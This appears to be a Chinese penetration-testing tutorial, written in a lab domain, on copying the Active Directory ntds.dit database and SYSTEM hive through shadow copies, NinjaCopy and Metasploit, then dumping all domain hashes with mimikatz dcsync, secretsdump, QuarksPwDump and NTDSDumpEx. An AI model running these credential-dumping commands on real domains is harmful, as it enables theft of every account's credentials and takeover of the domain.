域之ntds.dit

  • A+

ntds.dit

​ ntds.dit为ad的数据库(C:\Windows\NTDS),内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,ntds.dit是加密的,需要获取system来解密。查看dit数据库可使用https://github.com/yosqueoy/ditsnap工具。

离线获取ntds.dit

vss快照方式

​ vss即Volume Shadow Copy Service。win2003及以上有,用于创建数据备份的快照功能。

ntdsutil

查看当前快照列表和已经挂载的快照

ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

image20200913145835775.png

挂载快照

ntdsutil snapshot "mount 521972bf-3b80-470c-aa9b-f40ee0f9be57" quit quit

image20200913145940468.png

复制出来ntds和system

copy C:\$SNAP_202009131458_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
copy C:\$SNAP_202009131458_VOLUMEC$\windows\system32\config\SYSTEM c:\SYSTEM

image20200913150149142.png

卸载和删除快照

ntdsutil snapshot "unmount {521972bf-3b80-470c-aa9b-f40ee0f9be57}" quit quit
ntdsutil snapshot "delete {521972bf-3b80-470c-aa9b-f40ee0f9be57}" quit quit

image20200913150509136.png

vssadmin

查看快照

vssadmin list shadows

创建快照

vssadmin create shadow /for=c:

image20200913150937625.png

复制出来ntds和system

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit c:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\system32\config\SYSTEM C:\SYSTEM

删除快照

vssadmin delete shadows /for=c: /quiet

PS:直接是无法访问\?\快照中的内容的,需要创建链接才可以:mklink /d c:\vssfile \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\

nishang:copy-vss.ps1

nishang的Copy-VSS.ps1可进行快捷的
开启ps执行脚本权限:

Set-ExecutionPolicy Unrestricted

copy到当前目录:

Copy-VSS

msf:psexec_ntdsgrab

msf模块psexec_ntdsgrab可利用vss导出,再离线破解。

admin/smb/psexec_ntdsgrab

NinjaCopy方式

在powersploit中提供了不调用vss的方式ninjacopy。ps文件下载地址:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1

开启ps执行脚本权限:

Set-ExecutionPolicy Unrestricted

导入ps模块并导出ntds:

Import-Module .\invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C:\\system
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\\ntds.dit"

image20200913170246544.png

ntds.dit中提取hash

mimikatz

在服务器直接mimikatz即可,就不用上面的离线导出ntds.dit了,有杀毒软件等情况还是需要离线导出。

lsadump::dcsync /domain:fox.com /all /csv

secretsdump.py

Impacket包中的py:

secretsdump.py -ntds ./ntds.dit -system ./SYSTEM LOCAL

image20200913164738933.png

得到域管用户密码或hash情况下,可远程连接导出:

secretsdump.py fox/admintests:[email protected]
或者
secretsdump.py fox/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:621cdf4b49c06ec28caa7a6cab4ebac8

image20200913181023881.png

QuarksPwDump.exe

先使用windows自带的esentutl修复下ntds.dit文件:

esentutl /p /o ntds.dit

再使用QuarksPwDump.exe进行提取

.\QuarksPwDump.exe --dump-hash-domain --output userhash.txt --ntds-file .\ntds.dit

image20200913161234795.png

NTDSDumpEx

相当windows的secretsdump,下载地址:https://github.com/zcgonvh/NTDSDumpEx

.\NTDSDumpEx.exe -d ntds.dit -s SYSTEM

image20200913180506899.png

PS:搭建域环境时候随便敲的域名为fox.com,与其他无关。